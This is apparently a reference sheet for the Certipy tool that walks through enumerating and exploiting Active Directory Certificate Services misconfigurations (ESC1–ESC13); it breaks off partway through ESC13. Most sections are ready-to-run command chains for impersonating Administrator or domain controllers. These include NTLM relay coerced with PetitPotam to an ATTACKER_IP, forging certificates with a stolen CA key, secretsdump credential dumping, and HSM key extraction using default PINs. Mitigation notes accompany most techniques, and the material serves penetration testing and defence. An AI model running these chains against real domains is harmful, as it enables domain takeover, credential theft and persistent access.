Author: Oliver Lyak (ly4k)
Repo: https://github.com/ly4k/Certipy
Focus: Active Directory Certificate Services (AD CS) Attack & Enumeration
Wiki: https://github.com/ly4k/Certipy/wiki
Overview
Certipy is a Python tool designed to enumerate and abuse Active Directory Certificate Services (AD CS). It covers the full attack lifecycle:
- Enumerate — Identify Certificate Authorities, templates, and misconfigurations
- Exploit — Request certificates by abusing vulnerabilities (ESC1–ESC16)
- Authenticate — Leverage certificates to get Kerberos TGTs and NTLM hashes
- Persist — Forge certificates, plant shadow credentials, backdoor CAs
Installation
# From PyPI (recommended)
pip install certipy-ad
# From source
git clone https://github.com/ly4k/Certipy
cd Certipy
pip install .
Command Structure
certipy [global options] <command> [command options]
Show help at any level:
certipy -h
certipy find -h
certipy req -h
certipy auth -h
Global Options & Authentication
All Certipy commands share common connection and authentication options:
| Flag | Description |
|---|---|
-u USER |
Username (e.g., attacker@corp.local) |
-p PASSWORD |
Password or NTLM hash |
-hashes LMHASH:NTHASH |
Pass-the-Hash |
-k |
Use Kerberos from KRB5CCNAME environment variable |
-aes HEX |
Kerberos AES key |
-dc-ip IP |
Domain Controller IP |
-ns IP |
Name server for DNS resolution |
-target HOST |
Target host (CA server, etc.) |
-timeout SECS |
Connection timeout |
-debug |
Enable debug output |
Core Commands
find — Enumerate AD CS
Scans LDAP for Certificate Authorities, certificate templates, and misconfigurations. Flags known ESC vulnerabilities automatically.
# Basic enumeration
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100
# Text output
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -text
# Only enabled templates, hide default admin perms
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 \
-enabled -hide-admins
# JSON output
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -json
# CSV output
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -csv
# Pass-the-Hash
certipy find -u 'user@corp.local' -hashes :NTHash -dc-ip 10.0.0.100
# Kerberos
certipy find -u 'user@corp.local' -k -dc-ip 10.0.0.100
Output sections:
- Certificate Authorities — CA details, permissions, web enrollment status, vulnerabilities
- Certificate Templates — Template config, EKUs, enrollment rights, detected ESC vulnerabilities
[!] Vulnerabilities— Explicitly flagged ESC issues[+] User Enrollable Principals— Groups the current user can enroll as[+] User ACL Principals— Objects the current user can control[*] Remarks— Notes (e.g., ESC target template, but not directly exploitable)
req — Request a Certificate
Requests a certificate from a CA. Supports RPC, DCOM, and HTTPS endpoints.
# Standard request (authenticate as yourself)
certipy req -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User'
# ESC1: Specify target user UPN + SID in SAN
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'VulnTemplate' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
# ESC1: Machine account (use DNS instead of UPN)
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'VulnTemplate' \
-dns 'dc01.corp.local' -sid 'S-1-5-21-...-1000'
# ESC2/ESC3: On-behalf-of enrollment (using agent cert)
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
# Retrieve a pending/previously submitted request
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -retrieve 1
# Pass-the-Hash
certipy req -u 'user@corp.local' -hashes :NTHash \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User'
Key Flags:
| Flag | Description |
|---|---|
-ca NAME |
CA name (from find output) |
-target HOST |
CA DNS name or IP |
-template NAME |
Template name to enroll for |
-upn UPN |
UPN to inject into SAN (for impersonation) |
-dns FQDN |
DNS name for SAN (for machine accounts) |
-sid SID |
SID to inject into certificate SID extension/SAN URL |
-pfx FILE |
PFX to use as enrollment agent certificate |
-on-behalf-of DOMAIN\USER |
Request on behalf of another user |
-retrieve ID |
Retrieve a previously submitted request by ID |
-key-file FILE |
Private key file to pair with a retrieved cert |
auth — Authenticate with a Certificate
Uses a PFX file to perform Kerberos PKINIT and retrieve a TGT + NTLM hash.
# Basic auth (auto-detects principal from cert)
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
# Specify domain explicitly
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -domain corp.local
# Use Schannel (LDAP) instead of PKINIT
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -ldap-shell
# Save ccache to custom file
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -ccache custom.ccache
Output:
- Prints all certificate identities (UPN, DNS, SID extension, SAN URL SID)
- Retrieves a Kerberos TGT (saved as
.ccache) - Retrieves NTLM hash of the authenticated user
Important: If the output shows Conflicting SIDs, the SID security extension will take priority and impersonation may fail — indicating ESC9/ESC16 is needed for the chain.
relay — NTLM Relay to AD CS
Acts as an NTLM relay listener targeting AD CS HTTP enrollment endpoints (ESC8, ESC11).
# Relay to HTTPS web enrollment, requesting DomainController template
certipy relay -target 'https://CA.CORP.LOCAL' -template 'DomainController'
# Relay for a user account
certipy relay -target 'https://CA.CORP.LOCAL'
# Allow relaying own machine (self-relay)
certipy relay -target 'https://CA.CORP.LOCAL' -allow-self-relay
# Listen on non-default port
certipy relay -target 'https://CA.CORP.LOCAL' -port 8445
If you get "permission denied" on port 445:
bash echo 0 | sudo tee /proc/sys/net/ipv4/ip_unprivileged_port_start
Pair with a coercion tool (PetitPotam, Coercer) running separately to trigger authentication from the target machine.
shadow — Shadow Credentials
Manipulates the msDS-KeyCredentialLink attribute to plant certificate-based authentication.
# Add shadow credentials to a target
certipy shadow auto -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -account targetUser
# List existing shadow credentials
certipy shadow list -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -account targetUser
# Add and save to specific file
certipy shadow add -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -account targetUser -out targetUser
# Remove all shadow credentials
certipy shadow remove -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -account targetUser
forge — Forge Certificates
Creates arbitrary "Golden Certificates" signed by a compromised CA's private key.
# Forge cert for Administrator
certipy forge \
-ca-pfx 'CORP-CA.pfx' \
-upn 'administrator@corp.local' \
-sid 'S-1-5-21-...-500' \
-crl 'ldap:///'
# Forge for a machine account
certipy forge \
-ca-pfx 'CORP-CA.pfx' \
-dns 'dc01.corp.local' \
-sid 'S-1-5-21-...-1000' \
-crl 'ldap:///'
# Specify custom output file
certipy forge \
-ca-pfx 'CORP-CA.pfx' \
-upn 'administrator@corp.local' \
-sid 'S-1-5-21-...-500' \
-out 'admin_forged'
-crl 'ldap:///'sets a dummy CRL distribution point. Required for the KDC to accept the certificate (it checks presence, not validity, on initial auth).
ca — Manage Certificate Authority
Controls CA configuration — requires Manage CA rights.
# Backup CA private key and certificate
certipy ca -u 'admin@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-config 'CA.CORP.LOCAL\CORP-CA' -backup
# Enable a certificate template on the CA
certipy ca -u 'admin@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -enable-template 'SubCA'
# Disable a template
certipy ca -u 'admin@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -disable-template 'VulnTemplate'
# Add current user as Certificate Officer (allows approving requests)
certipy ca -u 'attacker@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -add-officer 'attacker'
# Approve a pending request (ESC7)
certipy ca -u 'attacker@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -issue-request 1
# Deny a request
certipy ca -u 'admin@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -deny-request 1
template — Manage Certificate Templates
Reads, modifies, and restores certificate template configurations in AD.
# Save current template config to JSON
certipy template -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -template 'SecureFiles' \
-save-configuration 'SecureFiles_backup.json'
# Write default vulnerable config (ESC4 abuse) — auto-saves backup
certipy template -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -template 'SecureFiles' \
-write-default-configuration
# Restore template from backup
certipy template -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -template 'SecureFiles' \
-write-configuration 'SecureFiles.json' -no-save
The -write-default-configuration option transforms the template into an ESC1-like state:
- Enables Enrollee Supplies Subject
- Adds Client Authentication EKU
- Grants FullControl to Authenticated Users
- Disables Manager Approval
- Sets Authorized Signatures Required = 0
account — Manage Account Attributes
Create/modify accounts for use in attack chains.
# Read target user's SID and other attributes
certipy account -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -user 'administrator' read
# Create a new computer account
certipy account -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 create -user 'EVILPC$' -pass 'Password123!'
# Update DNS hostname
certipy account -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 update -user 'EVILPC$' -dns 'evilpc.corp.local'
# Delete account
certipy account -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 delete -user 'EVILPC$'
Typical Attack Flow
1. certipy find → Discover vulnerable templates/CAs
2. certipy req → Request certificate (abusing ESC vulnerability)
3. certipy auth → Authenticate → get TGT + NTLM hash
4. Use TGT / NTLM → Lateral movement, DCSync, etc.
# Step 1: Enumerate
certipy find -u 'user@corp.local' -p 'Password!' -dc-ip 10.0.0.100 -enabled
# Step 2: Request (ESC1 example)
certipy req -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'VulnTemplate' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
# Step 4: Use the ticket
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc01.corp.local
Privilege Escalation: ESC Techniques
ESC1 — Enrollee-Supplied Subject for Client Authentication
Conditions:
Enrollee Supplies Subject= True (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)- Template has an authentication EKU (Client Auth, Smart Card Logon, PKINIT, Any Purpose)
- Low-privileged users (e.g., Domain Users) have Enroll rights
- No Manager Approval required
- No Authorized Signatures required
Detection:
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
Exploitation:
# Step 1: Request cert for Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'VulnTemplate' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
# Step 2: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
For machine accounts (use -dns instead of -upn):
certipy req ... -dns 'dc01.corp.local' -sid 'S-1-5-21-...-1000'
Mitigations:
- Disable "Supply in the request" on templates; use "Build from Active Directory"
- Restrict enrollment to specific, narrow groups
- Enable Manager Approval
- Require Authorized Signatures
ESC2 — Any Purpose Certificate Template
Conditions:
- Template has "Any Purpose" EKU (
2.5.29.37.0) or no EKU at all - Low-privileged users have Enroll rights
How it works: "Any Purpose" implicitly includes the "Certificate Request Agent" EKU, allowing the holder to request certificates on behalf of others (same as ESC3).
Detection:
[!] Vulnerabilities
ESC2 : Template can be used for any purpose.
ESC3 : Template has Certificate Request Agent EKU set.
Exploitation (3-step chain):
# Step 1: Get an Any Purpose cert
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'AnyPurposeCert'
# → attacker.pfx
# Step 2: Use it as an enrollment agent to request for Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
# → administrator.pfx
# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
Mitigations:
- Never use
Any PurposeEKU — specify EKUs explicitly - Don't leave EKU list blank
- Restrict enrollment rights
- Phase out Schema V1 target templates
ESC3 — Enrollment Agent Certificate Template
Conditions:
- A template with "Certificate Request Agent" EKU (
1.3.6.1.4.1.311.20.2.1) is enrollable by low-priv users - A Schema V1 target template (like
UserorMachine) exists that allows agent enrollment
Detection:
[!] Vulnerabilities
ESC3 : Template has Certificate Request Agent EKU set.
[*] Remarks
ESC3 Target Template : Template can be targeted as part of ESC3 exploitation.
Exploitation (identical flow to ESC2 step 2–3):
# Step 1: Obtain enrollment agent certificate
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'EnrollAgent'
# → attacker.pfx
# Step 2: Request cert on behalf of Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
# → administrator.pfx
# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
Mitigations:
- Restrict enrollment rights on agent-issuing templates
- Upgrade target templates from V1 to V2 with enrollment agent restrictions
- Enable Manager Approval
ESC4 — Template Hijacking
Conditions:
- An attacker has
WriteDACL,WriteOwner,WriteProperty, orFullControlon a template object in AD
How it works: The attacker rewrites the template's configuration to create an ESC1-like vuln, exploits it, then optionally restores the original.
Detection:
[!] Vulnerabilities
ESC4 : User has dangerous permissions.
[+] User ACL Principals : CORP.LOCAL\Authenticated Users
Exploitation:
# Step 1: Modify template to ESC1-vulnerable state (auto-saves backup)
certipy template -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -template 'SecureFiles' \
-write-default-configuration
# → SecureFiles.json (backup), template now ESC1-vulnerable
# Step 2: Request cert for Administrator via the now-vulnerable template
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'SecureFiles' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
# Step 4: (Optional) Restore original template
certipy template -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -template 'SecureFiles' \
-write-configuration 'SecureFiles.json' -no-save
Note: Enterprise CAs poll AD for template changes — allow up to several minutes for updates to apply.
Mitigations:
- Audit and enforce least-privilege ACLs on
CN=Certificate Templates,... - Only Enterprise Admins / dedicated PKI admins should have write rights
- Use BloodHound to identify dangerous template permissions
ESC5 — Vulnerable PKI Object Access Control
Conditions:
- Write permissions on critical PKI AD objects outside of templates:
CN=NTAuthCertificatesCN=AIA,CN=Public Key Services,...CN=CDP,...- CA objects themselves
- OID policy objects
How it works: Modifying these objects can make a rogue CA trusted for domain auth, alter trust chains, or create persistent access.
Note: Certipy does NOT directly detect ESC5. Use BloodHound, PowerShell
Get-Acl, or ADSIEdit to audit.
Post-CA-compromise (after ESC5 or ESC7 yields CA key access):
# Step 1: Backup the CA private key
certipy ca -u 'admin@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-config 'CA.CORP.LOCAL\CORP-CA' -backup
# → CORP-CA.pfx
# Step 2: Forge a cert for Administrator
certipy forge -ca-pfx 'CORP-CA.pfx' \
-upn 'administrator@corp.local' \
-sid 'S-1-5-21-...-500' \
-crl 'ldap:///'
# → administrator_forged.pfx
# Step 3: Authenticate
certipy auth -pfx 'administrator_forged.pfx' -dc-ip 10.0.0.100
Mitigations:
- Audit ACLs on all PKI objects in
CN=Public Key Services,CN=Services,CN=Configuration,... - Only PKI admins / Enterprise Admins should have write access to these objects
ESC6 — CA Allows SAN Specification via Request Attributes
Conditions:
- CA has
EDITF_ATTRIBUTESUBJECTALTNAME2flag enabled (User Specified SAN : Enabled) - AND either ESC9 (template disables SID extension) or ESC16 (CA disables SID extension)
How it works: The CA-wide flag allows any requester to inject SANs via request attributes. On fully patched systems, this only leads to impersonation when the SID security extension is absent.
Detection:
[!] Vulnerabilities
ESC6 : Enrollee can specify SAN.
User Specified SAN : Enabled
Exploitation (with ESC9 or ESC16):
# Request cert with injected UPN + SID (against a no-security-extension template)
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'ESC9' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
Mitigation: Disable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA:
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
ESC7 — Dangerous Permissions on CA
Conditions:
- Attacker has
Manage CA(ManageCa) permission on the CA object - Optionally
Manage Certificates(Certificate Officer)
Detection:
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
ManageCa : CORP.LOCAL\Authenticated Users
Exploitation (via SubCA template):
# Step 1: Add attacker as Certificate Officer
certipy ca -u 'attacker@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -add-officer 'attacker'
# Step 2: Enable SubCA template on the CA
certipy ca -u 'attacker@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -enable-template 'SubCA'
# Step 3: Submit a request (will fail/deny, but saves key + request ID)
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'SubCA' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
# Save the private key when prompted → 1.key, Request ID: 1
# Step 4: Approve the request as Officer
certipy ca -u 'attacker@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -issue-request 1
# Step 5: Retrieve the approved certificate
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -retrieve 1
# → administrator.pfx
# Step 6: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
Mitigation: CAs are Tier 0 assets. Only dedicated PKI admins should have Manage CA. Never grant it to Authenticated Users or broad groups.
ESC8 — NTLM Relay to AD CS Web Enrollment
Conditions:
- AD CS web enrollment (certsrv) is accessible over HTTP or HTTPS without Channel Binding (EPA)
- An attacker can coerce NTLM authentication from a privileged account
Detection:
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTPS and Channel Binding is disabled.
Web Enrollment
HTTPS
Enabled : True
Channel Binding : False
Exploitation:
# Terminal 1: Start Certipy relay
certipy relay -target 'https://CA.CORP.LOCAL' -template 'DomainController'
# Terminal 2: Coerce DC authentication (using PetitPotam, Coercer, etc.)
# Example with PetitPotam:
python3 PetitPotam.py ATTACKER_IP DC.CORP.LOCAL
# Certipy will capture the relay and output:
# → dc.pfx (certificate for DC$)
# Step 2: Authenticate as DC$ to perform DCSync, etc.
certipy auth -pfx 'dc.pfx' -dc-ip 10.0.0.100
For a user account relay, omit
-templateor use-template 'User'.
Mitigations:
- Enable Extended Protection for Authentication (EPA / Channel Binding) on IIS
- Disable HTTP; enforce HTTPS only
- Require HTTPS + EPA together
ESC9 — No Security Extension on Template
Conditions:
- Template has
CT_FLAG_NO_SECURITY_EXTENSIONflag set inmsPKI-Enrollment-Flag - An attacker can write to the target's
userPrincipalName(GenericWrite or similar) - Certificate is issued without the
szOID_NTDS_CA_SECURITY_EXTSID extension
How it works: Without the SID security extension, the KDC uses the UPN from the SAN for account mapping. If an attacker can change their own (or the victim's) UPN to match the target's UPN, and then request a cert, they can authenticate as that account.
Exploitation (requires GenericWrite on a user):
# Step 1: Save original UPN of attacker account
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -user 'attacker' read
# Step 2: Change attacker's UPN to match the target (e.g., Administrator)
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 update -user 'attacker' -upn 'Administrator'
# Step 3: Request a cert (no -upn or -sid needed; UPN comes from account)
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'ESC9Template'
# → administrator.pfx
# Step 4: Restore original UPN
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 update -user 'attacker' -upn 'attacker@corp.local'
# Step 5: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
ESC10 — Weak Certificate Mappings via UPN/DNS
Conditions:
StrongCertificateBindingEnforcementregistry key on the DC is set to0or1(not2)- OR
CertificateMappingMethodson the DC includes weak mapping methods (bit 0x4 = UPN mapping, bit 0x1 = Subject/Issuer mapping) - An attacker has
GenericWriteover a target account (to manipulate itsuserPrincipalNameordNSHostName)
Background — KB5014754 and Mapping Modes:
Microsoft's May 2022 patch (KB5014754) introduced the SID security extension (szOID_NTDS_CA_SECURITY_EXT) to bind certificates to specific accounts via their SID. The DC enforcement mode is controlled by:
HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
0 = Disabled — weak mappings always accepted
1 = Compatibility mode — weak mappings accepted unless SID extension conflicts (DEFAULT post-patch)
2 = Full enforcement — SID extension required; weak mappings rejected
When the DC is in mode 0 or 1, an attacker who can modify a victim's UPN or DNS hostname can effectively point the certificate authentication back to a different account.
ESC10 Case 1 — GenericWrite over a user account (UPN pivot):
If you have GenericWrite over UserA and want to authenticate as UserB:
# Step 1: Read current UPN of the account you control
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -user 'UserA' read
# Step 2: Change UserA's UPN to match UserB's UPN (e.g., administrator@corp.local)
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 update -user 'UserA' \
-upn 'administrator@corp.local'
# Step 3: Request a certificate as UserA using any client-auth template
certipy req -u 'UserA@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User'
# → useRA.pfx (but SAN UPN = administrator@corp.local)
# Step 4: Restore UserA's original UPN
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 update -user 'UserA' \
-upn 'UserA@corp.local'
# Step 5: Authenticate — KDC resolves to Administrator because UPN matches
certipy auth -pfx 'UserA.pfx' -dc-ip 10.0.0.100
ESC10 Case 2 — GenericWrite over a machine account (DNS pivot):
If you have GenericWrite over a computer account (MachineA$) and want to impersonate a DC:
# Step 1: Read MachineA's current dNSHostName
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -user 'MachineA$' read
# Step 2: Update dNSHostName to match the DC
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 update -user 'MachineA$' \
-dns 'dc01.corp.local'
# Step 3: Request a Machine certificate for MachineA$
certipy req -u 'MachineA$@corp.local' -hashes :NTHash \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'Machine'
# → machineA.pfx (SAN DNS = dc01.corp.local)
# Step 4: Restore original dNSHostName
certipy account -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 update -user 'MachineA$' \
-dns 'MachineA.corp.local'
# Step 5: Authenticate as DC$
certipy auth -pfx 'MachineA.pfx' -dc-ip 10.0.0.100
Detection:
[!] Vulnerabilities
ESC10 : Domain controller has weak certificate mapping enabled.
StrongCertificateBindingEnforcement : 0
Mitigations:
- Set
StrongCertificateBindingEnforcement = 2on all DCs (requires all certs to carry SID extension) - Patch all CAs to issue the SID extension (KB5014754)
- Audit
GenericWriteACEs on user and machine objects
ESC11 — NTLM Relay to ICPR (RPC)
Conditions:
- The CA's RPC/DCOM enrollment interface (
MS-ICPR) is accessible - The interface does not enforce HTTPS or
IF_ENFORCEENCRYPTICERTREQUESTflag - An attacker can coerce NTLM authentication from a privileged account
Background:
ESC8 relays NTLM to the HTTP-based web enrollment endpoint (certsrv). ESC11 is the equivalent for the native RPC-based enrollment endpoint (MS-ICPR), which is used by default by all Windows certificate enrollment clients. If the CA does not require Kerberos or encrypted RPC, it is vulnerable to NTLM relay over RPC.
The IF_ENFORCEENCRYPTICERTREQUEST flag, when set on the CA, requires that certificate requests over RPC be signed/encrypted. If unset, relay is possible.
Detection:
[!] Vulnerabilities
ESC11 : RPC enrollment is not protected by HTTPS or enforce encryption flag.
Enforce Encryption on Requests : False
Exploitation:
# Terminal 1: Start Certipy relay targeting RPC endpoint
certipy relay -target 'rpc://CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'DomainController'
# Terminal 2: Coerce authentication from the DC
# Using PetitPotam:
python3 PetitPotam.py ATTACKER_IP DC01.CORP.LOCAL
# Using Coercer:
python3 Coercer.py coerce -l ATTACKER_IP -t DC01.CORP.LOCAL \
-u 'attacker' -p 'Password!' -d corp.local
# Certipy captures the relay → dc.pfx
# Step 2: Authenticate as DC$
certipy auth -pfx 'dc.pfx' -dc-ip 10.0.0.100
The
-target rpc://flag tells Certipy to relay to the ICPR endpoint rather than the HTTPcertsrvendpoint. Check Certipy's current syntax viacertipy relay -has this was stabilised in v4.x.
Mitigations:
-
Enable
IF_ENFORCEENCRYPTICERTREQUESTon all CAs:cmd certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUESTnet stop certsvc && net start certsvc -
Block NTLM where possible; use SMB signing
- Enforce Kerberos for CA enrollment
ESC12 — Shell Access via CSRA / YubiHSM
Conditions:
- The CA is configured to use an external Hardware Security Module (HSM) or a Cryptographic Service Provider (CSP) with a weak passphrase/no authentication
- An attacker has local administrator access to the CA server
- Common scenario: CSRA (Certificate Services Remote Administration) or YubiHSM with a default or recoverable PIN/passphrase
Background:
Some CAs store their private key using an HSM or a software CSP that can be interacted with from the CA server's local shell. If the PIN or passphrase protecting the HSM is weak or default, an attacker who has already obtained a shell on the CA server can extract the CA private key directly from the HSM interface — bypassing the need for Certipy's ca -backup (which goes through the CA service's own backup API).
This is a post-exploitation technique on a CA server, relevant when:
certutil -exportPFXor Certipyca -backupfail because the CA key is "not exportable" via the standard API- The CA uses a YubiHSM 2 or similar device with default PIN
0001password
Exploitation (YubiHSM 2 default PIN example):
# On the CA server (shell access required)
# List installed CSPs
certutil -csplist
# Attempt to interact with YubiKey PKCS#11 or CSR provider
# Default YubiHSM 2 auth key PIN: 0001password
# Use yubihsm-shell or OpenSC to extract the key
# If the CA uses a software CSP with no PIN, export directly:
certutil -exportPFX -p "ExportPassword" CA-KeyID output.pfx
# After obtaining the CA key, forge certificates with Certipy:
certipy forge -ca-pfx 'output.pfx' \
-upn 'administrator@corp.local' \
-sid 'S-1-5-21-...-500' \
-crl 'ldap:///'
certipy auth -pfx 'administrator_forged.pfx' -dc-ip 10.0.0.100
Certipy does not have a dedicated
esc12subcommand. The certificate forging workflow (certipy forge) is the final step once you have the CA PFX via any extraction method.
Detection: Certipy's find will not flag ESC12 automatically. Manual inspection of the CA's CSP configuration and HSM device is required.
Mitigations:
- Change default HSM PINs immediately during deployment
- Use strong, non-default passphrases for software CSPs
- Limit local administrator access to CA servers (Tier 0)
- Enable LAPS and PAM for CA server access
ESC13 — OID Group Link Privilege Escalation
Conditions:
- A certificate template's
msPKI-Certificate-Policycontains an OID that is linked to an AD group viamsPKI-Enterprise-Oidwith themsDS-OIDToGroupLinkattribute - The linked group has elevated privileges (e.g., Domain Admins)
- Low-privileged users can enroll in this template
Background:
Windows allows an OID (object identifier) defined in AD to be linked to a security group. When a certificate containing that OID is presented for Kerberos authentication (PKINIT), the KDC automatically adds the user to that group for the duration of the Kerberos session — without the user actually being a member in AD. This is an intended feature for "issuance policies" but is trivially exploitable when the linked group has high privilege.
Detection:
[!] Vulnerabilities
ESC13 : Template has OID that links to a privileged group.
Linked Group : CN=Domain Admins,CN=Users,DC=corp,DC=local
Exploitation:
# Step 1: Find the vulnerable template (certipy find will flag it)
certipy find -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -enabled -text
# Step 2: Simply enroll in the template (no SAN manipulation needed)
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'ESC13Template'
# → attacker.pfx
# Step 3: Authenticate — the resulting TGT will have the linked group's privileges
certipy auth -pfx 'attacker.pfx' -dc-ip 10.0.0.100
# → attacker.ccache (TGT includes Domain Admins group SID in PAC)
# Step 4: Use the ticket
